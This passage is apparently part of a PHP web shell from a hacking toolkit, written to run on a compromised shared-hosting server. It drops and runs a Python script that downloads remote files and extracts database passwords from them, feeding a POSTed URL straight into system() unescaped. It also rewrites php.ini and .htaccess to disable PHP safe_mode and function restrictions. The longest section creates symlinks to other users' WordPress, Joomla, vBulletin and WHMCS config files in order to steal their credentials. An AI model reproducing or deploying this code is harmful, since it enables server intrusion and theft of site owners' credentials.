J3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py", "w+");
$write = fwrite($file, "#!/usr/bin/env python\r\n\r\n'''\r\nBy: Ahmed Shawky aka lnxg33k\r\nthx: Obzy, Relik, mohab and #arabpwn \r\n'''\r\n\r\nimport sys\r\nimport os\r\nimport re\r\nimport subprocess\r\nimport urllib\r\nimport glob\r\nfrom platform import system\r\n\r\nif len(sys.argv) != 3:\r\n print'''\t\r\n Usage: %s [URL...] [directory...]\r\n Ex) %s http://www.test.com/test/ [dir ...]''' % (sys.argv[0], sys.argv[0])\r\n sys.exit(1)\r\n\r\nsite = sys.argv[1]\r\nfout = sys.argv[2]\r\n\r\ntry:\r\n req = urllib.urlopen(site)\r\n read = req.read()\r\n if system() == 'Linux':\r\n f = open('/tmp/data.txt', 'w')\r\n f.write(read)\r\n f.close()\r\n if system() == 'Windows':\r\n f = open('data.txt', 'w') \r\n f.write(read)\r\n f.close()\r\n\r\n i = 0\r\n if system() == 'Linux':\r\n f = open('/tmp/data.txt', 'rU')\r\n for line in f:\r\n if line.startswith('<li><a') == True :\r\n m = re.search(r'(<a href=\")(.+[^>])(\">)', line)\r\n i += 1\r\n local_name = '%s/file%d.txt' % (fout, i)\r\n print 'Retrieving...\\t\\t', site + m.group(2)\r\n try: urllib.urlretrieve(site + m.group(2), local_name)\r\n except IOError:\r\n print '\\n[%s] doesn\\'t exist, create it first' % fout\r\n sys.exit()\r\n if line.startswith('<img') == True:\r\n m1 = re.search(r'(<a href=\")(.+[^>])(\">)', line)\r\n i += 1\r\n local_name = '%s/file%d.txt' % (fout, i)\r\n print 'Retrieving...\\t\\t', site + m1.group(2)\r\n try: urllib.urlretrieve(site + m1.group(2), local_name)\r\n except IOError:\r\n print '\\n[%s] doesn\\'t exist, create it first' % fout\r\n sys.exit()\r\n if line.startswith('<IMG') == True:\r\n m2 = re.search(r'(<A HREF=\")(.+[^>])(\">)', line)\r\n i += 1\r\n local_name = '%s/file%d.txt' % (fout, i)\r\n print 'Retrieving...\\t\\t', site + m2.group(2)\r\n try: urllib.urlretrieve(site + m2.group(2), local_name)\r\n except IOError:\r\n print '\\n[%s] doesn\\'t exist, create it first' % fout\r\n sys.exit()\r\n f.close()\r\n if system() == 'Windows':\r\n f = open('data.txt', 'rU')\r\n for line in f:\r\n if line.startswith('<li><a') == True :\r\n m = re.search(r'(<a href=\")(.+[^>])(\">)', line)\r\n i += 1\r\n local_name = '%s/file%d.txt' % (fout, i)\r\n print 'Retrieving...\\t\\t', site + m.group(2)\r\n try: urllib.urlretrieve(site + m.group(2), local_name)\r\n except IOError:\r\n print '\\n[%s] doesn\\'t exist, create it first' % fout\r\n sys.exit()\r\n if line.startswith('<img') == True:\r\n m1 = re.search(r'(<a href=\")(.+[^>])(\">)', line)\r\n i += 1\r\n local_name = '%s/file%d.txt' % (fout, i)\r\n print 'Retrieving...\\t\\t', site + m1.group(2)\r\n try: urllib.urlretrieve(site + m1.group(2), local_name)\r\n except IOError:\r\n print '\\n[%s] doesn\\'t exist, create it first' % fout\r\n sys.exit()\r\n if line.startswith('<IMG') == True:\r\n m2 = re.search(r'(<A HREF=\")(.+[^>])(\">)', line)\r\n i += 1\r\n local_name = '%s/file%d.txt' % (fout, i)\r\n print 'Retrieving...\\t\\t', site + m2.group(2)\r\n try: urllib.urlretrieve(site + m2.group(2), local_name)\r\n except IOError:\r\n print '\\n[%s] doesn\\'t exist, create it first' % fout\r\n sys.exit()\r\n f.close()\r\n if system() == 'Linux':\r\n cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait()\r\n if system() == 'Windows':\r\n cleanup = subprocess.Popen('del C:\\data.txt', shell=True).wait()\r\n print '\\n', '-' * 100, '\\n'\r\n if system() == 'Linux':\r\n for root, dirs, files in os.walk(fout):\r\n for fname in files:\r\n fullpath = os.path.join(root, fname)\r\n f = open(fullpath, 'r')\r\n for line in f:\r\n secr = re.search (r\"(db_password'] = ')(.+[^>])(';)\", line)\r\n if secr is not None: print (secr.group(2)) \r\n secr1 = re.search(r\"(password = ')(.+[^>])(';)\", line)\r\n if secr1 is not None: print (secr1.group(2))\r\n secr2 = re.search(r\"(DB_PASSWORD')(...)(.+[^>])(')\", line)\r\n if secr2 is not None: print (secr2.group(3))\r\n secr3 = re.search (r\"(dbpass =..)(.+[^>])(.;)\", line)\r\n if secr3 is not None: print (secr3.group(2))\r\n secr4 = re.search (r\"(DBPASSWORD = ')(.+[^>])(.;)\", line)\r\n if secr4 is not None: print (secr4.group(2))\r\n secr5 = re.search (r\"(DBpass = ')(.+[^>])(';)\", line)\r\n if secr5 is not None: print (secr5.group(2))\r\n secr6 = re.search (r\"(dbpasswd = ')(.+[^>])(';)\", line)\r\n if secr6 is not None: print (secr6.group(2))\r\n secr7 = re.search (r\"(mosConfig_password = ')(.+[^>])(';)\", line)\r\n if secr7 is not None: print (secr7.group(2))\r\n f.close()\r\n if system() == 'Windows':\r\n for infile in glob.glob( os.path.join(fout, '*.txt') ):\r\n f = open(infile, 'r')\r\n for line in f:\r\n secr = re.search (r\"(db_password'] = ')(.+[^>])(';)\", line)\r\n if secr is not None: print (secr.group(2)) \r\n secr1 = re.search(r\"(password = ')(.+[^>])(';)\", line)\r\n if secr1 is not None: print (secr1.group(2))\r\n secr2 = re.search(r\"(DB_PASSWORD')(...)(.+[^>])(')\", line)\r\n if secr2 is not None: print (secr2.group(3))\r\n secr3 = re.search (r\"(dbpass =..)(.+[^>])(.;)\", line)\r\n if secr3 is not None: print (secr3.group(2))\r\n secr4 = re.search (r\"(DBPASSWORD = ')(.+[^>])(.;)\", line)\r\n if secr4 is not None: print (secr4.group(2))\r\n secr5 = re.search (r\"(DBpass = ')(.+[^>])(';)\", line)\r\n if secr5 is not None: print (secr5.group(2))\r\n secr6 = re.search (r\"(dbpasswd = ')(.+[^>])(';)\", line)\r\n if secr6 is not None: print (secr6.group(2))\r\n secr7 = re.search (r\"(mosConfig_password = ')(.+[^>])(';)\", line)\r\n if secr7 is not None: print (secr7.group(2))\r\n f.close()\r\nexcept (KeyboardInterrupt):\r\n print '\\nThanks for using it ._^'");
fclose($file);
chmod("cp.py", 0755);
$url = $_POST['url'];
echo "<center>\r\n<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py {$url} config");
unlink('cp.py');
echo "</textarea>\r\n</center>";
echo "<hr><center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
exit;
}
if ($_POST['matikan'] == 'sekatan') {
@error_reporting(0);
$phpini = 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini", "w+");
$write = fwrite($file, "safe_mode=OFF\r\ndisable_functions=NONE");
fclose($file);
$htaccess = 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess", "w+");
$write = fwrite($file, "Options FollowSymLinks MultiViews Indexes ExecCGI");
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
exit;
}
if ($_POST['mendapatkan'] == 'passwd') {
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
$fn = $_POST['foldername'];
//all function here
function syml($usern, $pdomain)
{
symlink('/home/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
symlink('/home/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
symlink('/home2/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home2/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home2/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home2/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home2/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home2/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home2/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home2/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home2/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home2/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home2/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home2/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home2/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home2/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home2/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home2/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home2/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home2/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home2/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home2/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home2/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home2/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home2/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home2/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home2/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home2/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home2/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
symlink('/home2/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home2/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home2/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
symlink('/home3/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home3/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home3/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home3/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home3/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home3/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home3/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home3/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home3/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home3/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home3/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home3/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home3/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home3/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home3/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home3/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home3/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home3/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home3/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home3/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home3/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home3/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home3/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home3/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home3/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home3/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home3/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
symlink('/home3/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home3/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home3/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
symlink('/home4/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home4/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home4/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home4/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home4/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home4/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home4/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home4/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home4/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home4/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home4/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home4/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home4/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home4/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home4/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home4/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home4/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home4/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home4/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home4/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home4/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home4/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home4/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home4/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home4/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home4/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home4/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
